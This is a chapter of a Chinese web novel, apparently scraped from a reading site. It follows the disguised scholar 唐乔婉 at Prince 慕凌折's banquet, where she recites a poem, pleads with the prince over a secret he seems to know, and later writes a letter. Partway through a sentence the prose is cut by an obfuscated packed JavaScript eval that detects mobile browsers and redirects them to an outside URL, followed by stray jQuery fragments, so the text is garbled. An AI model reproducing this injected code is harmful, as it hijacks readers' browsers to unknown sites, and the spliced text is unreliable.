折南棠 作品

17. 017

宴会上,丝竹之声悠扬婉转,萦绕于堂。


宾客们举杯谈笑,气氛热闹非凡。


唐乔婉坐在席间,表面上强装镇定,努力维持着仪态得体。


她时不时地偷偷瞥向主位上的慕凌折,只见他与身旁的宾客谈笑风生,偶尔目光扫过,却总是在与她对视的瞬间冷漠地移开。


她的心猛地一沉,手指不自觉地攥紧了衣袖。


他既已知晓她的秘密,又总是这种眼神看她,难不成是在等一个合适的时机,好将她一家置于万劫不复之地?


这般想着,唐乔婉只觉得背脊发凉,连手中的酒杯都险些握不稳。


反观孔宣儿,正兴致盎然地与周遭人高谈阔论。


忽地,孔宣儿端起一杯酒,朝着唐乔婉遥遥举杯,娇笑道:“唐编修,来,我敬你一杯。”


唐乔婉见状,急忙起身,恭恭敬敬地端起酒杯,努力扯出一抹笑意,说道:“宣儿小姐客气啦,能与小姐共饮,实乃在下的荣幸。”


言罢,二人仰头一饮而尽。


孔宣儿放下酒杯,眼神带着几分傲慢,上下打量唐乔婉一番,悠悠说道:“唐编修,听闻你才学过人,不如现场为大家赋诗一首,也让咱们开开眼,领略领略你的非凡才华。”


唐乔婉心中一紧,在这宴会上,她实在没有作诗的心情。


但孔宣儿开了口,她又怎好拒绝,一时之间,只觉骑虎难下。


也罢……


唐乔婉心一横,身姿笔挺地站起,朝满座宾客拱手作揖,朗声道:“不才,今日便献丑了。”


言罢,她略作思索后,薄唇轻启:“华堂宴罢月如钩,王府生辉映画楼。才俊贤良同聚首,愿祈岁月共安悠。”


其声清朗有力,仿若击磬之音。


众人听得入神,片刻后,掌声轰然响起,纷纷叫好。


孔宣儿嘴角含笑,点头赞道:“唐编修果然名不虚传,才情卓绝。”


慕凌折听闻此诗,眼神微微一动,看向唐乔婉的目光中多了一丝探究。


宴会逐渐接近尾声,宾客们纷纷起身,相互拱手作别。


唐乔婉看着时机差不多了,便悄悄借着敬酒的机会将手中的折扇藏于屋内一角。


待众人纷纷离去,她状似寻找折扇留了下来。


见众人都已离去,她才从掩藏之处将扇子摸出来。


“原是落在此处了,可真是让我好找。”


她走到慕凌折面前,深吸一口气,努力让自己的声音听起来平静:“王爷,方才在下遗落了折扇,这才冒昧留下寻找,还望王爷恕罪。”


慕凌折看着她,眼神中带着一丝审视,冷冷地说道:“找到了便走吧。”


话虽冰冷,可目光却似被吸引,不自觉地在唐乔婉脸上多停留了一瞬。


她今日穿着一袭青衫,眉目如画,举手投足间竟有一种说不出的清雅之气。


慕凌折心中莫名一阵烦乱,连忙别过头去。


唐乔婉牙关轻咬,鼓足勇气,再次开口:“王爷,其实在下留下,另有一事相求。”


慕凌折微微皱眉,神色间似有几分不耐,沉声道:“有话便直说,本王没功夫与你在此耽搁。”


唐乔婉握紧了拳头。


“若王爷因某些误会对在下有所不满,还望王爷明示,也好让在下有改过自新的机会。”


其话语中,暗藏几分试探、几分恳请,更隐隐透着一丝愤懑。


慕凌折闻此言语,心中泛起一阵复杂的情绪。


他神色冷峻,沉声道:“本王没什么可说的,你好自为之吧。”


唐乔婉心中一沉,他真的已经知道了!


心中虽有不甘,却仍强自镇定,继续说道:“王爷,在下不过是异乡之人,于这京城之中举目无亲、孤立无援。若王爷执意追究,在下亦无力抗衡。但恳请王爷能给在下一个机会,容我为自己辩解。”


慕凌折沉默片刻,心中愈发烦躁。


她这番话是什么意思?难道她以为自己会对她不利?


“罢了,你的事本王不想再追究。你走吧,以后莫要再做让本王不悦之事。”


唐乔婉闻言,拱手作揖:“多谢王爷,在下告退。”


言罢,转身离去。


此刻,她心中五味杂陈,细品慕凌折这番话,似有放她一马之意。


按说此事值得欣喜,可唐乔婉却只觉心头沉闷。


慕凌折之言模棱两可,着实令人难以捉摸其真实意图。


真是如海一般的心思。


秘密落在这样的人手中,实在是人为刀俎,我为鱼肉,让她一刻安心不下。


与此同时,慕凌折负手伫立在宴会厅的雕花窗前,目光深沉地凝视着唐乔婉离去的方向。


她的背影显得如此纤细、单薄,却又透着一股别样的倔强。


他心中那股难以名状的情绪再度翻涌,令他感到无比烦躁。


“我究竟是怎么了?”慕凌折低声喃喃自语,眉头紧紧皱起。


“王爷。”


身后骤然响起孔宣儿那娇柔的声音,打断了慕凌折的思绪。


慕凌折微微皱眉,心中涌起一丝不耐。


他强压着情绪,转过身,声音里带着几分冷淡:“何事?”


孔宣儿仿若未察觉到慕凌折的不悦,脸上依旧挂着盈盈笑意,那笑容甜得有些腻人:“王爷,您说这唐正清,可真是个有趣的人。今日在府门前,眼巴巴地等了许久,就盼着能见王爷一面呢。我瞧他那诚心,都快把王府的门槛望穿了,这才做主带他进来。难不成,是我此举惹了王爷不高兴?”


“唐编修才华出众,倒是不假。”


慕凌折神色平静,语气波澜不惊,可那幽深的眼眸中,却闪过一丝不易察觉的情绪。


孔宣儿捕捉到了慕凌折那细微的情绪变化,心中不禁泛起一丝疑惑,面上却笑得愈发灿烂:“王爷,我听说唐编修近来在朝中那可是备受赏识,风头正盛呢。王爷您见多识广,不知对他究竟是作何看法呀?”


慕凌折眉头皱得更深了,“你为何对唐编修如此上心?”


孔宣儿微微一怔,她反应极快,立刻娇嗔道:“王爷可别打趣我了。我不过是随口一问罢了。他身为臣子,为皇家效力,若能有一身本事,帮衬着王爷,那自然是再好不过啦。”


慕凌折听了,只是微微点头,不置可否,淡淡地说道:“若没别的事,你便回去吧。本王还有公务要处理。”


孔宣儿仍不死心,还想再靠近些,声音愈发娇媚,双手作势就要往慕凌折的肩头搭去:“王爷今日设宴,忙了一整天,想


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142468|164545||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


必乏累得很。需不需要宣儿为您捏一捏肩背,解解乏呀?”


慕凌折不着痕迹地轻轻挥臂,巧妙地挡住了她,语气中带着不容置疑的疏离:“无需。”


孔宣儿见慕凌折态度如此冷淡,心中又气又恼,可脸上依旧维持着那副乖巧的笑容。


“那宣儿就不打扰王爷了,先行告辞。”


说罢,莲步轻移,转身离去,只是那背影里,隐隐透着几分不甘。


待孔宣儿离去后,慕凌折只觉心中的烦乱更盛。


他踱步回到书房,走到书案前,下意识地拿起毛笔,摊开宣纸,可那笔尖在宣纸上悬了许久,却迟迟落不下去。


另一边,唐乔婉匆匆回到自己的状元府。


一迈进房门,她便迫不及待地关上房门,整个人靠在门板上,长长地舒了一口气。


她的心跳依旧急促,脑海中不断回放着慕凌折那冷漠的眼神和话语。


“他到底知道了多少?我到底该怎么办才好?”


唐乔婉眉头紧锁,低声自语,心中满是不安与焦虑。


就在这时,门外传来一阵轻微且有节奏的敲门声。


唐乔婉心中一紧,下意识地问道:“谁?”


“公子,是我,阿宁。”门外传来一个轻柔的声音。


阿宁是陛下赐下的侍女之一,生得乖巧伶俐,平日里做事更是井井有条,唐乔婉瞧着喜欢,便允她近身服侍。


唐乔婉松了一口气,紧绷的神经稍稍放松,走过去打开门。


只见阿宁端着一碗还冒着热气的汤,脸上带着关切的神情,轻声说道:“公子,您今日去定王府宴会,一定累坏了。喝点热汤,暖暖身子吧。”


唐乔婉接过汤碗,勉强挤出一丝笑容,说道:“谢谢你,阿宁。”


阿宁看着唐乔婉略显苍白的脸色,心中担忧,忍不住问道:“公子,您是不是遇到什么麻烦事儿了?我瞧您脸色不太好。”


唐乔婉摇了摇头,故作轻松地说道:“没事,就是有些累了,休息一晚就好。”


阿宁张了张嘴,像是还想说些什么,可最终还是点了点头,说道:“那公子早点休息,要是有什么需要,随时叫我。”


待阿宁离开后,唐乔婉坐在桌前,捧着那碗热汤,可思绪却早已飘远,一口都喝不下去。


汤的热气袅袅升腾,模糊了她的视线。


“不行,我不能就这么坐以待毙。”唐乔婉突然站起身,眼中闪过一丝坚定的光芒。


她必须主动出击,否则,这颗悬在心头的大石头,永远都落不下来。


想到这里,唐乔婉走到书案前,研好墨,提笔蘸墨,开始写信。


写完信后,唐乔婉小心翼翼地将信折好,放入信封。


她走到窗前,推开窗户,望着夜空中那皎洁的明月,月光如水,洒在她的脸上。


她闭上眼睛,心中默默祈祷:“但愿一切还来得及。”


翌日清晨,晨曦微露,唐乔婉早早起身,一夜未眠,她的眼睛里布满了血丝。


她把信交给阿宁,神色郑重地嘱咐道:“阿宁,你务必亲手将这封信送到展兄手中,千万不能出任何差错。”


阿宁瞧着自家公子这般郑重其事,心中虽满是疑惑,但还是用力地点了点头,接过信,转身匆匆离开。